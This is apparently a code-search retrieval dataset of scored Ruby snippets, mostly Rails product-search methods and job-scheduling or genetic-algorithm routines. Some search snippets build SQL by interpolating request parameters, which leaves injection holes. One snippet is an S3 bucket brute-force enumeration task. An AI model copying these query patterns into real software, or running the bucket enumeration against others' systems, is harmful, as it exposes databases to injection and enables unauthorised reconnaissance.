"text": "def index\n \n if params[:category].blank?\n # if it's blank, so if nothing has been selected, \n # it'll display all the products\n if params[:search_term].present?\n \n @products = Product.where([\"title LIKE ?\", \"%#{params[:search_term]}%\"])\n \n # Product.where(\"title like ?\", \"%#{name}%\")\n # For example:\n\n # %Manhattan will get you: Love in Manhattan\n # Manhattan% will get: Manhattan and Company\n # %Manhattan% will get you both: [Love in Manhattan, Manhattan and Company]\n \n else\n @products = Product.limit(10).order(:price => 'ASC')\n\n end\n \n else\n @category_id= Category.find_by(name: params[:category]).id\n @products = Product.where(:category_id => @category_id)\n # @category_id is the id that has been taken above \n # thanks to the name sent by the params\n # and we are going to find all the products of the same id\n end\n \n username\n end",
"title": ""
},
{
"docid": "fa524ba00608fd67d71d5744ac831f20",
"score": "0.62399316",
"text": "def index\n @results = []\n substrings = {}\n\n if !params[:search_query] || params[:search_query].length <= 0\n @results = Product.all\n else\n all_products = Product.all \n search_query = params[:search_query].split\n all_products.each do |product|\n substrings[product.id] = substring(product.name.downcase)\n end\n \n # debugger\n search_query.each do |query|\n substrings.each do |key, value|\n if value.include?(query.downcase)\n @results << Product.find(key)\n end\n end\n end\n end\n\n # debugger\n render :index \n end",
"title": ""
},
{
"docid": "e31db6a0a5a032846cb4b12c44919d1e",
"score": "0.6239378",
"text": "def search_by_id(param_id)\n\t\tmy_url = \"http://itunes.apple.com/lookup?id=#{param_id}\"\n\t\turi = URI(my_url)\n\t\tfetch_data_and_parse(uri)\n\tend",
"title": ""
},
{
"docid": "93a3547311422a0833e513aacbe66783",
"score": "0.6234997",
"text": "def search(title)\n results = get '/', { s: title }\n if results[:search]\n # Return the title if there is only one result, otherwise return the seach results\n search = results.search\n search.size == 1 ? title(search[0].title) : search\n else\n results\n end\n end",
"title": ""
},
{
"docid": "43f4fa220fbf69a77bedbaf85b6b1d40",
"score": "0.62262875",
"text": "def find_product\n @product = Product.find_by_slug!(params[:id])\n end",
"title": ""
},
{
"docid": "6e21204469912c6e52014297f0eb7617",
"score": "0.6203238",
"text": "def find_products_by_name(**args)\n params = parameters(args) do\n required_params :term\n optional_params :term, :currency, :start, :limit\n end\n request(:get, 'products/find', params)\n end",
"title": ""
},
{
"docid": "0d1274079b07a047f1d7d815742bf36f",
"score": "0.6202696",
"text": "def index\n if(params['query'] != nil)\n @products = Product.where(\"lower(product_name) = ?\", params['query'].downcase)\n # @products = Product.where(:product_name => params['query'])\n # raise 'err'\n\n else\n @products = Product.all\n end\n \n \n end",
"title": ""
},
{
"docid": "90a62eadffbca38e4ba84b633fd5b3dd",
"score": "0.6200668",
"text": "def find_search_item\n @search_item = SearchItem.find(params[:id])\n end",
"title": ""
},
{
"docid": "04972b76362484e3e40740978d2bb7f2",
"score": "0.6196041",
"text": "def show\r\n product = Product.where('title = ? ' , params[:id])\r\n if product.empty?\r\n render json: {status: 'Fail', message:' Could not Find Product!'},status: :ok;\r\n else\r\n render json: {status: 'SUCCESS', message:'Found Product!', data:product},status: :ok\r\n end\r\n\r\n end",
"title": ""
},
{
"docid": "2fa4bb27d27e9199419725e766a7adfb",
"score": "0.61910653",
"text": "def search_product(productQuery)\n products = []\n params = {q: \"productname:#{CGI.escape(productQuery.to_s)}\"}\n path = \"/products\"\n method = 'GET'\n product_list = call_with_cache(method,params, path)\n product_list.each do |p|\n products << Hashie::Mash.new(p)\n end\n products\n end",
"title": ""
},
{
"docid": "6fcda6375a532d1d5ed9f39fe5944ebd",
"score": "0.61840165",
"text": "def show\n # find products from params with appropriate ID\n # for example product/(3 = id)\n end",
"title": ""
},
{
"docid": "5bf7690182e7bc316b4f2e666b13a639",
"score": "0.6182998",
"text": "def search\n \t@search = Product.search(params[:q]).page(params[:page]).per(12).order(\"created_at DESC\")\n \n end",
"title": ""
},
{
"docid": "4743fbcdfbd0fd9496c65814ef35a6d5",
"score": "0.6175224",
"text": "def search\n @products = Product.search(params[:query], fields: [:name])\n respond_to do |format|\n format.html { render :index }\n end\n end",
"title": ""
},
{
"docid": "7b53b9a9ec3bbaa30b2308a7fa1ec562",
"score": "0.6174267",
"text": "def index\n @products = Products.search(params[:term]).paginate(page: params[:page], per_page: 10).order('id ASC')\n \n end",
"title": ""
},
{
"docid": "1df74a57487186f58b6e48de461cbccb",
"score": "0.6173787",
"text": "def searchable(keyword)\n Jobs.where('CAST(id AS TEXT) LIKE ? OR LOWER(title) LIKE LOWER(?) OR LOWER(author) LIKE LOWER(?)','%'+keyword+'%','%'+keyword+'%','%'+keyword+'%')\n end",
"title": ""
},
{
"docid": "79e2caf9a7ccabf6ba90a9a94eb2970a",
"score": "0.6165611",
"text": "def search\n reference = params[:reference]&.strip\n if reference.blank?\n flash[:error] = \"Please enter the product's reference\"\n redirect_to(action: :index) && return\n end\n product = Product.find_by(reference: reference)\n if product\n @product_route = ProductRouteService.new(reference)\n else\n flash.now[:error] = \"Product with reference (\\\"#{reference}\\\") not found\"\n end\n render :index\n end",
"title": ""
},
{
"docid": "76d11066da952dd81a0f9631a2762f5c",
"score": "0.6165115",
"text": "def search_books\n @title = params[:title]\n @res = Amazon::Ecs.item_search(\"#{@title}\", :response_group => 'Images,ItemAttributes')\n end",
"title": ""
},
{
"docid": "b38dcbe41373d900dbed9b5fc0e0ffc8",
"score": "0.6159869",
"text": "def search(query_string)\n class_product = Kernel.const_get(\"DriverProduct#{source}\")\n self.class.request_search(query_string).collect do |hash_data|\n hash_data[:driver_id] = id\n driver_product = class_product.birth(hash_data)\n class_product.first(:sid => driver_product.sid) || driver_product\n end\n end",
"title": ""
},
{
"docid": "609bdb16f3363c24ab45cc7341b5e64c",
"score": "0.6158519",
"text": "def index \n if params[:product]\n @products = Product.where(\"product_name like ? AND active = true\", \"%#{params[:product]}%\")\n else \n @products = Product.all\n end\n end",
"title": ""
},
{
"docid": "d8d5414211e896672d4c32bf6e0d3c9f",
"score": "0.6153808",
"text": "def metasearch_param\n @search = Item.search(params[:search])\n @cart = current_cart\n end",
"title": ""
},
{
"docid": "f1dd87303f361e18a007fee2f3f1d3de",
"score": "0.6152788",
"text": "def search_keyword\r\n @reviews = Review.where(\"keywords like '%#{params[:keyword]}%'\")\r\n end",
"title": ""
},
{
"docid": "bc265f2f3c8e56814b0c3e6fb13c1c97",
"score": "0.6152715",
"text": "def index\n @products = if params[:search]\n Product.searchName(params[:search])\n else\n Product.all\n end\n \n @products = @products.paginate(page: params[:page],:per_page => 12)\n \n end",
"title": ""
},
{
"docid": "e372c236f31867c2ffc2a38030b00ab3",
"score": "0.615025",
"text": "def search\n @settlement = Settlement.find(params[:id])\n @engine = SearchEngine::Searchable.new(@settlement.settle_items, params[:q], barcode: true)\n @query = @engine.query\n @product = @engine.lookup.take\n end",
"title": ""
},
{
"docid": "b9bedd95d1f2ecae68cde1b0e9fbaa4f",
"score": "0.6138451",
"text": "def search_term( search_id )\n param( search_id.sym )\n end",
"title": ""
},
{
"docid": "a1ef057552bc8daff041219756d900f4",
"score": "0.6132783",
"text": "def search\n\tputs Rainbow(\"Do you wish to search by 'id' or 'name'?\").yellow\n\tcategory = gets.chomp\n\t\n\tif category == \"id\" || category == \"name\"\n\n\t\tputs Rainbow(\"What is the id/name of your product?\").yellow\n\t\tquery_term = gets.chomp\n\n\t\tresult = @conn.exec(\"SELECT * FROM products WHERE #{category} = '#{query_term}';\")\n\n\t\tputs Rainbow(\"Here are all the products that matched your search!: \").yellow\n\t\tresult.each do |product| \n\t\t\tproduct.each do |k, v| \n\t\t\t\tputs \"#{k}: #{v}\"\n\t\t\tend\n\t\tend\n\telse\n\t\tputs Rainbow(\"That Option does not exist!\").red\n\tend\n\tprogram_start\n\nend",
"title": ""
},
{
"docid": "bc38fd2e3cb0874a9e00e566ed52ad2b",
"score": "0.6130197",
"text": "def search\n if params[:search].present?\n @commercialpropertiesforsales = Commercialpropertiesforsale.search(params[:search])\n else\n @commercialpropertiesforsales = Commercialpropertiesforsale.all\n end\n end",
"title": ""
},
{
"docid": "a934383869339e7a69cee7972b30690a",
"score": "0.6125845",
"text": "def index\n\t\t\n\n\t\t#@products = Product.paginate(page: params[:page],per_page: 8)\n\t\t@products = Product.where([\"name LIKE ?\",\"%#{params[:search]}%\"])\n\t\t#@products = Product.search(params[:product])\n \t\t#@serach = @product.result.includes(:articles).page(params[:page])\n\tend",
"title": ""
},
{
"docid": "dfd01d372e2ae7730499a298454176a2",
"score": "0.61246276",
"text": "def search\n\t @search_term = params[:term]\n\n\t if !@search_term then\n\t @search_term = session[:last_search_term]\n\t end\n\t # Save this for after editing\n\t session[:last_search_term] = @search_term\n\n\t # Need this so that links show up\n\t @title = \"Search Results For '#{@search_term}'\"\n\n # Paginate that will work with will_paginate...yee!\n per_page = 30\n list = Product.search(@search_term)\n @search_count = list.size\n pager = Paginator.new(list, list.size, per_page, params[:page])\n @products = WillPaginate::Collection.new(params[:page] || 1, per_page, list.size) do |p|\n p.replace list[pager.current.offset, pager.items_per_page]\n end\n\n\t render :action => 'list' and return\n\tend",
"title": ""
},
{
"docid": "448a8f2e5697be22f2fb685f964f4714",
"score": "0.6124064",
"text": "def find_products_by_keyword(keyw, search_index = 'DVD', sort=:salesrank, country = :de)\n products=Array.new\n product=Hash.new\n\n res = Amazon::Ecs.item_search(keyw, {:response_group => 'Large,Images', :search_index => search_index,:sort => sort, :country => country.to_s})\n\n res.items.each do |item|\n \n product={}\n product[:asin] = item.get('asin') \n product[:title] = item.get('title') \n product[:productgroup] = item.get('productgroup') \n product[:smallimage] = item.get_hash('smallimage') if item.get_hash('smallimage')\n product[:mediumimage] = item.get_hash('mediumimage') if item.get_hash('mediumimage')\n product[:largeimage] = item.get_hash('largeimage') if item.get_hash('largeimage')\n \n \n products << product\n end\n products\n end",
"title": ""
}
] |
b5d239a1711d956d195eeec2cba74238
|
Recusive procedure It should be called initially with a list of jobs and an empty distribution containing one empty press ( = [[]]). It will try to find the optimal distribution and store it in
|
[
{
"docid": "e7c3d6ed9fcf0c810784d43c058da9bd",
"score": "0.74799037",
"text": "def distribute_jobs distrib, jobs\n\n # we can stop, we have reached the maximum number of press\n if distrib.size == @number_of_presses\n\n # copy the remaining jobs in last press and empty jobs array\n while !jobs.empty?\n distrib.last << jobs.pop\n end\n\n # we don't have any solution yet, copy this one\n if FairDistribution.is_distribution_empty?(@distribution)\n @distribution = distrib\n # let's check if this distribution is better than our previous\n # best and make it the new solution if it is\n elsif FairDistribution.time_required(distrib) <= @time_required &&\n FairDistribution.standard_deviation(distrib) < FairDistribution.standard_deviation(@distribution)\n @distribution = distrib\n @time_required = FairDistribution.time_required(@distribution)\n end\n\n return\n end\n\n # create a signature for this distribution so that we don't test\n # equivalent distributions.\n # ex: [[5, 4], [5, 4], [3, 3, 3]] and [[4, 5], [5, 4], [3, 3, 3]]\n # are equivalent and only one of them needs to be tested.\n signature = String.new\n distrib.each_with_index {|e, index| distrib[index] = e.sort }\n distrib.sort {|a,b| a.inject(0.0) { |sum, n| sum + n } <=> b.inject(0.0) { |sum, n| sum + n } }.each do |press|\n press.each { |job| signature << \"#{job};\" }\n signature << \"|\"\n end\n\n # have we tried yet this distribution?\n if @signatures.key?(signature) == false\n\n # we have exceeded the @time_required of our current best\n # distribution, we don't need to test this distribution\n if FairDistribution.time_required(distrib) <= @time_required\n # mark this distribution has tried\n @signatures[signature] = 1\n\n jobs.each_with_index do |job, index|\n\n # we create two new distributions\n # First one : we add one job in last press\n # Second one: we add one job in last press and we add one\n # more press\n distrib_copy = FairDistribution.dup_distrib(distrib)\n distrib_copy.last << job\n distrib_copy2 = FairDistribution.dup_distrib(distrib_copy)\n distrib_copy2 << Array.new\n\n # copying remaining jobs list and removing the job we added\n # in the two new distributions\n jobs_copy = jobs.dup\n jobs_copy.slice!(index)\n\n distribute_jobs distrib_copy, jobs_copy\n distribute_jobs distrib_copy2, jobs_copy.dup\n end\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "2f5895b9b72005d255c9b06f71a532a2",
"score": "0.6422885",
"text": "def build_subsolutions\n @success_probability = Array.new(@size)\n @success_probability[@size-1] = 1.0/@size\n (@size-1).downto(1).each { |k|\n @success_probability[k-1] = 1.0/@size + @success_probability[k]*(k-1)/k\n }\n end",
"title": ""
},
{
"docid": "8a530bbcc2ff7c00fb871830e0600b0b",
"score": "0.615518",
"text": "def run\n calculate_ideal_subject_distribution\n\n #p \"population size >>>>>> \" + @population_size.to_s\n #p \"max generations >>>>>> \" + @max_generation.to_s\n\n result = {}\n best_chromosomes = []\n generate_initial_population #Generate initial population \n @max_generation.times do |g|\n\n selected_to_breed = selection #Evaluates current population \n\n offsprings = reproduction selected_to_breed #Generate the population for this new generation\n\n replace_worst_ranked offsprings\n\n #Sort the chromosomes again by fitness after offsprings\n #being merged\n @population.sort! { |a, b| b.fitness <=> a.fitness}\n\n # fs = @population.collect {|x| x.fitness }\n # File.open(\"fitnesses.txt\", \"a\") do |f|\n # f.puts \"generation (#{fs.size}) #{g.to_s} = \" + fs.join(\", \")\n # end\n\n best_chromosomes << @population[0]\n end\n result[:chromosomes] = best_chromosomes\n result[:population_size] = @population_size\n result[:generations] = @max_generation\n return result\n end",
"title": ""
},
{
"docid": "c060265fbb41b0cd304d7630db0f13a3",
"score": "0.6148016",
"text": "def greedy1_fill!(remaining_partitions)\n remaining_partitions.each do |src_partition|\n # Test each site ...\n src_partition.sites.each do |site|\n\n simulation_result_below_bound = {}\n simulation_result_above_bound = {}\n # ... in each bin ...\n self.each_with_index do |bin, bin_index|\n target_partition = bin.list[src_partition.name]\n if target_partition.nil?\n # Creating a new partition is more costly than the worst case\n operations = @operations_worst_case + 1\n else\n # Simulate insertion of site into existing partition of current bin\n operations = target_partition.incr_add_sites!([site], simulate = true)\n end\n # Check if bin.size is smaller than lower_bound. Save simulation_result accordingly to prefer addition below lower_bound.\n if bin.update_size!.size < @operations_lower_bound\n simulation_result_below_bound.merge!({operations => bin_index})\n else\n simulation_result_above_bound.merge!({operations => bin_index})\n end\n\n end\n\n # Insert at lowest operation cost\n best = if simulation_result_below_bound.empty?\n simulation_result_above_bound.min_by { |operations, bin_index| operations }\n else\n simulation_result_below_bound.min_by { |operations, bin_index| operations }\n end\n target_partition = @list[best[1]].list[src_partition.name]\n if target_partition.nil?\n @list[best[1]].add!([Partition.new(src_partition.name, [site], src_partition.tree)])\n else\n target_partition.incr_add_sites!([site])\n end\n\n end\n end\n end",
"title": ""
},
{
"docid": "d835e240172068faecc47c477107536a",
"score": "0.5983247",
"text": "def find_best_distribution\n required_time, best_distribution = nil, nil\n \n all_distributions = @jobs.chunk(@number_of_presses)\n \n all_distributions.each do |distribution|\n time_required_by_distribution = distribution.map(&:sum).max\n if required_time.nil? || time_required_by_distribution < required_time\n best_distribution = distribution\n required_time = time_required_by_distribution\n else\n if time_required_by_distribution == required_time\n best_distribution = distribution if standard_deviation(distribution) < standard_deviation(best_distribution)\n end\n end\n end\n \n best_distribution\n end",
"title": ""
},
{
"docid": "95d1d64ffede7975ab9dda51c5a4def5",
"score": "0.58342963",
"text": "def greedy2_fill!(remaining_partitions)\n remaining_partitions.each do |src_partition|\n src_partition.sites.each do |site|\n\n smallest_bin = self.update_bin_sizes!.min\n target_partition = smallest_bin.list[src_partition.name]\n if target_partition.nil?\n smallest_bin.add!([Partition.new(src_partition.name, [site], src_partition.tree)])\n else\n target_partition.incr_add_sites!([site])\n end\n\n end\n end\n end",
"title": ""
},
{
"docid": "38210dcab51ed49f499d50c0c4411ab7",
"score": "0.5773748",
"text": "def greedy1_initial!(remaining_partitions)\n # Initialize\n site_list = remaining_partitions.sites\n site_index = 0\n partition_index = 0\n total_sites_remaining = remaining_partitions.total_sites\n\n\n total_free_space = self.total_free_space\n\n # Fill each bin starting with the least filled\n self.each_with_index do |bin, bin_index|\n\n # How many sites need to go into the current bin\n sites_for_bin = ((@operations_lower_bound - bin.size).to_f / total_free_space * total_sites_remaining).floor\n\n # Pick (random) site of partition, add to bin and drop from \"remaining_partitions\"\n dropped_partition = remaining_partitions.list.values[partition_index].drop_random_site!\n bin.add!([dropped_partition])\n\n # Do we need to fill two partitions in this bin?\n if site_list[site_index].values.first != site_list[site_index + sites_for_bin - 1].values.first\n partition_index += 1\n\n # Pick (random) site of partition, add to bin and drop from \"remaining_partitions\"\n dropped_partition = remaining_partitions.list.values[partition_index].drop_random_site!\n bin.add!([dropped_partition])\n\n elsif bin_index < @list.size - 1 # Prevent index out of bound\n # Is there a partition switch directly at the beginning of the next bin?\n if site_list[site_index + sites_for_bin - 1].values.first != site_list[site_index + sites_for_bin].values.first\n partition_index += 1\n end\n end\n\n site_index += sites_for_bin\n end\n\n remaining_partitions\n end",
"title": ""
},
{
"docid": "65d0295990f3e4e800dbe015d5531bf2",
"score": "0.57534885",
"text": "def distribution\n @distribution ||= find_best_distribution\n end",
"title": ""
},
{
"docid": "59ff7f074b28c416cdc3c604e2b7ca6b",
"score": "0.57277584",
"text": "def calculate_choices(cities, last_city, exclude, pheromone, c_heur, c_hist)\n #Checa todas as possibildiades para se escolher a proxima cidade.\n choices = []\n #passa por todas as cidades. coord pega as coordenadas de uma dada cidade, i a posicao dela no array de cidades. o i identifica qual cidade no array � \n cities.each_with_index do |coord, i|\n #checa se a cidade ja foi visitada. as cidades visitadas esta em exclude. A cidade analisada estar no vetor exclude? Se sim, sai dessa intera��o\n\tnext if exclude.include?(i)\n \n\t#Indentifica qual cidade esta sendo analisada\n\tprob = {:city=>i}\n \n #calcula o fator historico. O c hist mostra o quanto voce considera o historico. Historico o quanto que passaram naquela cidade, e se mede isso coma matriz de pheronio. Se passaram muito por ali de maniera frequente, maior o fator de historico pois o pheromonio ali estar� muito alto\n\tprob[:history] = pheromone[last_city][i] ** c_hist\n\t# Considera o vetor distancia \n\tprob[:distance] = euc_2d(cities[last_city], coord)\n # Calcula o faotr heuristico, isso e, o quanto que a distancia vai influir nessa decisao. Quanto maior a distancia, menor a chance de se escolher\n\tprob[:heuristic] = (1.0/prob[:distance]) ** c_heur\n # Calcula a probabilidade da escolha ser escolhida. Multiplica o fator de distancia e o fator heuristico\t\n\tprob[:prob] = prob[:history] * prob[:heuristic]\n # Adiciona a escolha no vetor de escolha\n\tchoices << prob\n end\n choices\nend",
"title": ""
},
{
"docid": "c6abe16dda9b129cbfe3b702f6b3f1f5",
"score": "0.56729364",
"text": "def original_scheduling_initial!(partitions)\n # Phase 1: Sort partitions by sites.size\n partitions.sort_by_sites!\n\n # Phase 2: Initial filling\n bin_assigner = 0\n full_bins = 0\n partitions.size.times do\n if @list[bin_assigner].total_sites + partitions.first.sites.size <= @sites_lower_bound\n @list[bin_assigner].add!([partitions.first])\n partitions.drop!(1)\n\n # Edge case handling for perfect fit\n if @list[bin_assigner].total_sites == @sites_lower_bound\n full_bins += 1\n @sites_lower_bound -= 1 if full_bins == @list.size - @sites_rounding_adjustment\n end\n\n else\n break\n end\n\n bin_assigner = (bin_assigner + 1) % @list.size\n end\n partitions\n end",
"title": ""
},
{
"docid": "2f28f1775bd9bacbc7eed94c5f2826fe",
"score": "0.565581",
"text": "def solve\n @time = Time.new\n for j in 0..@generations\n new_generation = Array.new\n @selection.init(@population)\n \n for i in 0..(@population_size/2)-1\n children = @reproduction.reproduce(@selection.select,@selection.select,@mutation)\n \n son = children[0]\n daughter = children[1]\n \n if son.fitness > @best_fitness\n @best_fitness = son.fitness\n @best_configuration = son.configuration.conf\n end\n \n if daughter.fitness > @best_fitness\n @best_fitness = daughter.fitness\n @best_configuration = daughter.configuration.conf\n end\n \n new_generation.push(son)\n new_generation.push(daughter)\n \n end\n \n @population = new_generation\n \n end\n @time = Time.new - @time\n end",
"title": ""
},
{
"docid": "8014103b284461847e92635aa0ad1b07",
"score": "0.5548426",
"text": "def build_jobs(count)\n (1..count).each.collect {|i| Tester::Job.new((i - 1) * ($range / count), i * ($range / count) - 1) }\n end",
"title": ""
},
{
"docid": "85f5e92a2d995114e5722809f211c670",
"score": "0.5487155",
"text": "def adapted_scheduling_initial!(partitions)\n bin_index = 0\n full_bins = 0\n partitions.size.times do\n if @list[bin_index].size + partitions.first.size <= @operations_lower_bound\n @list[bin_index].add!([partitions.first])\n partitions.drop!(1)\n\n # Edge case handling for perfect fit\n if @list[bin_index].size == @operations_lower_bound\n full_bins += 1\n @operations_lower_bound -= 1 if full_bins == @list.size - @operations_rounding_adjustment\n end\n\n else\n break\n end\n\n bin_index = (bin_index + 1) % @list.size\n end\n @list = @list.sort\n\n partitions\n end",
"title": ""
},
{
"docid": "b39cca8a19f62c4218be5cd347c6b3bb",
"score": "0.5427454",
"text": "def calc_final_desired_workers\n required_workers = 0\n @worksets.each do |workset|\n required_workers += workset[0] if workset && workset[0]\n end\n required_workers = [required_workers, @max_workers].min\n required_workers = [required_workers, @min_workers].max\n required_workers\n end",
"title": ""
},
{
"docid": "2ed8f62106f049ef87b3c540d1622688",
"score": "0.53776175",
"text": "def test_ce_deBoer_2\n NArray.srand(567) # must use NArray's generator, not Ruby's\n\n # Cost matrix\n n = 5\n c = NArray[[0,1,3,5,6],\n [1,0,3,6,5],\n [3,3,0,2,2],\n [5,6,2,0,2],\n [6,5,2,2,0]]\n\n mp = CrossEntropy::MatrixProblem.new\n mp.pr = NArray.float(2, n).fill!(0.5)\n mp.pr[true,0] = NArray[0.0,1.0] # put vertex 0 in subset 1\n mp.num_samples = 50\n mp.num_elite = 5\n mp.max_iters = 10\n smooth = 0.4\n\n max_cut_score = proc do |sample|\n weight = 0\n for i in 0...n\n for j in 0...n\n weight += c[j,i] if sample[i] < sample[j]\n end\n end\n -weight # to be minimized\n end\n best_cut = NArray[1,1,0,0,0]\n assert_equal(-15, max_cut_score.call(NArray[1,0,0,0,0]))\n assert_equal(-28, max_cut_score.call(best_cut))\n\n mp.to_score_sample(&max_cut_score)\n\n mp.to_update do |pr_iter|\n smooth*pr_iter + (1 - smooth)*mp.pr\n end\n\n mp.for_stop_decision do\n #p mp.pr\n mp.num_iters >= mp.max_iters\n end\n\n mp.solve\n\n if best_cut != mp.most_likely_solution\n warn \"expected #{best_cut}; found #{mp.most_likely_solution}\" \n end\n assert mp.num_iters <= mp.max_iters\n end",
"title": ""
},
{
"docid": "cfaa0fa61212206a6df34cdeec45b6b8",
"score": "0.5375387",
"text": "def grow\n @lock.synchronize do\n prune\n logger.debug { \"jobs: #{num_jobs}; busy: #{num_working}; idle: #{num_idle}\" }\n if @size == 0 || (@size < @max_size && num_jobs > 0 && num_jobs > num_idle) then\n space = @max_size-@size\n jobs = num_jobs-num_idle\n needed = space < jobs ? space : jobs\n needed = 1 if needed <= 0\n expand(needed)\n else\n logger.debug \"NOT growing the pool!\"\n end\n end\n\n nil\n end",
"title": ""
},
{
"docid": "08c1e02507ebb9144bdcdaf18cd7f5aa",
"score": "0.5355616",
"text": "def solve\n @sorted_things.each do |thing|\n break if (config_weight + thing.weight) > @instance.weight_capacity\n @config[thing.index] = 1\n end\n @best_price = config_price\n @best_config = @config.dup\n end",
"title": ""
},
{
"docid": "ce7ab1f85eee40c2f0353caa316efff2",
"score": "0.53321224",
"text": "def run\n super\n\n bucket_name = _get_entity_name\n opt_use_file = _get_option(\"use_file\")\n opt_filename = _get_option(\"brute_file\")\n opt_additional_buckets = _get_option(\"additional_buckets\")\n opt_use_creds = _get_option(\"use_creds\")\n opt_threads = _get_option(\"threads\")\n opt_permute = _get_option(\"create_permutations\")\n\n if opt_use_file\n _log \"Using file: #{opt_filename}\"\n potential_buckets = File.read(\"#{$intrigue_basedir}/data/#{opt_filename}\").split(\"\\n\")\n else\n _log \"Using provided brute list\"\n potential_buckets = [bucket_name]\n end\n\n # add in any additional buckets to the list of potentials\n all_potential_buckets = potential_buckets.concat(opt_additional_buckets.split(\",\"))\n\n # Create our queue of work from the checks in brute_list\n work_q = Queue.new\n all_potential_buckets.each do |pb|\n work_q << pb.strip\n\n # Add permutations\n if opt_permute\n begin\n # AWS is case sensitive.\n # https://forums.aws.amazon.com/thread.jspa?threadID=19928\n first_letter_cap = \"#{pb.strip}\".slice(0,1).upcase + \"#{pb.strip}\".slice(1..-1)\n work_q << \"#{first_letter_cap}\" unless \"#{first_letter_cap}\" == \"#{pb.strip}\"\n work_q << \"#{pb.strip.upcase}\" unless \"#{pb.strip.upcase}\" == \"#{pb.strip}\"\n work_q << \"#{pb.strip.downcase}\" unless \"#{pb.strip.downcase}\" == \"#{pb.strip}\"\n\n # General development permutations\n work_q << \"#{pb.strip}-backup\"\n work_q << \"#{pb.strip}-beta\"\n work_q << \"#{pb.strip}-dev\"\n work_q << \"#{pb.strip}-development\"\n work_q << \"#{pb.strip}-eng\"\n work_q << \"#{pb.strip}-engineering\"\n work_q << \"#{pb.strip}-old\"\n work_q << \"#{pb.strip}-prod\"\n work_q << \"#{pb.strip}-qa\"\n work_q << \"#{pb.strip}-stage\"\n work_q << \"#{pb.strip}-staging\"\n work_q << \"#{pb.strip}-test\"\n work_q << \"#{pb.strip}-web\"\n work_q << \"backup-#{pb.strip}\"\n work_q << \"beta-#{pb.strip}\"\n work_q << \"dev-#{pb.strip}\"\n work_q << \"development-#{pb.strip}\"\n work_q << \"eng-#{pb.strip}\"\n work_q << \"engineering-#{pb.strip}\"\n work_q << \"old-#{pb.strip}\"\n work_q << \"prod-#{pb.strip}\"\n work_q << \"qa-#{pb.strip}\"\n work_q << \"stage-#{pb.strip}\"\n work_q << \"staging-#{pb.strip}\"\n work_q << \"test-#{pb.strip}\"\n work_q << \"web-#{pb.strip}\"\n rescue TypeError => e\n puts \"Unable to permute: #{pb}, failing\"\n end\n end\n\n end\n\n # Create a pool of worker threads to work on the queue\n workers = (0...opt_threads).map do\n Thread.new do\n begin\n while bucket_name = work_q.pop(true)\n\n #skip anything that isn't a real name\n next unless bucket_name && bucket_name.length > 0\n\n # Authenticated method\n if opt_use_creds\n\n access_key_id = _get_task_config \"aws_access_key_id\"\n secret_access_key = _get_task_config \"aws_secret_access_key\"\n\n unless access_key_id && secret_access_key\n _log_error \"FATAL! To scan with authentication, you must specify a aws_access_key_id aws_secret_access_key in the config!\"\n return\n end\n\n # Check for it, and get the contents\n Aws.config[:credentials] = Aws::Credentials.new(access_key_id, secret_access_key)\n exists = check_existence_authenticated(bucket_name)\n\n # create our entity and store the username with it\n _create_entity(\"AwsS3Bucket\", {\n \"name\" => \"#{s3_uri}\",\n \"uri\" => \"#{s3_uri}\",\n \"authenticated\" => true,\n \"username\" => access_key_id\n }) if exists\n\n #########################\n # Unauthenticated check #\n #########################\n else\n\n s3_uri = \"https://#{bucket_name}.s3.amazonaws.com\"\n exists = check_existence_unauthenticated(s3_uri)\n _create_entity(\"AwsS3Bucket\", {\n \"name\" => \"#{s3_uri}\",\n \"uri\" => \"#{s3_uri}\",\n \"authenticated\" => false\n }) if exists\n\n next if exists ## Only proceed if we got an error above (bucket exists!) !!!\n\n s3_uri = \"https://s3.amazonaws.com/#{bucket_name}\"\n exists = check_existence_unauthenticated(s3_uri)\n _create_entity(\"AwsS3Bucket\", {\n \"name\" => \"#{s3_uri}\",\n \"uri\" => \"#{s3_uri}\",\n \"authenticated\" => false,\n }) if exists\n\n end # end if opt_use_creds\n\n\n end # end while\n rescue ThreadError\n end\n end\n end; \"ok\"\n workers.map(&:join); \"ok\"\n\n end",
"title": ""
},
{
"docid": "b86a42344d86fb270b47223a16c15a86",
"score": "0.5306702",
"text": "def dequeue\n min = @pqueues.each.select{|tuple| !tuple.last.empty? }.min_by do |tuple|\n generation = tuple.first\n tuple.last.min[1] + @costs[generation]\n end\n\n return nil if min.blank?\n\n min.last.delete_min[0]\n end",
"title": ""
},
{
"docid": "51051727420635820f8d1c24b320f163",
"score": "0.52861786",
"text": "def natural_selection\n # Clear the ArrayList\n @mating_pool.clear\n max_fitness = @population.max_by { |x| x.fitness(@target) }.fitness(@target)\n # Based on fitness, each member will get added to the mating pool a certain\n # number of times a higher fitness = more entries to mating pool = more\n # likely to be picked as a parent, a lower fitness = fewer entries to mating\n # pool = less likely to be picked as a parent\n @population.each do |p|\n fitness = map1d(p.fitness(@target), (0..max_fitness), (0..1.0))\n # Arbitrary multiplier, we can also use monte carlo method\n n = (fitness * 100).to_i\n n.times { @mating_pool << p } # and pick two rand numbers\n end\n end",
"title": ""
},
{
"docid": "51051727420635820f8d1c24b320f163",
"score": "0.52861786",
"text": "def natural_selection\n # Clear the ArrayList\n @mating_pool.clear\n max_fitness = @population.max_by { |x| x.fitness(@target) }.fitness(@target)\n # Based on fitness, each member will get added to the mating pool a certain\n # number of times a higher fitness = more entries to mating pool = more\n # likely to be picked as a parent, a lower fitness = fewer entries to mating\n # pool = less likely to be picked as a parent\n @population.each do |p|\n fitness = map1d(p.fitness(@target), (0..max_fitness), (0..1.0))\n # Arbitrary multiplier, we can also use monte carlo method\n n = (fitness * 100).to_i\n n.times { @mating_pool << p } # and pick two rand numbers\n end\n end",
"title": ""
},
{
"docid": "31015dd5adf93509c99ec5d80cf175da",
"score": "0.52795696",
"text": "def mills_mess\n if @count_of_presses == 1\n press = Press.new\n press << @jobs\n @distribution << press.jobs\n @time_required = press.time\n return\n end\n\n @presses = Array.new(@count_of_presses) { Press.new }\n\n @presses.min << @jobs.pop until @jobs.empty? \n\n\n end",
"title": ""
},
{
"docid": "dbeadcb1091fbd014d19514d84d14bdc",
"score": "0.5257479",
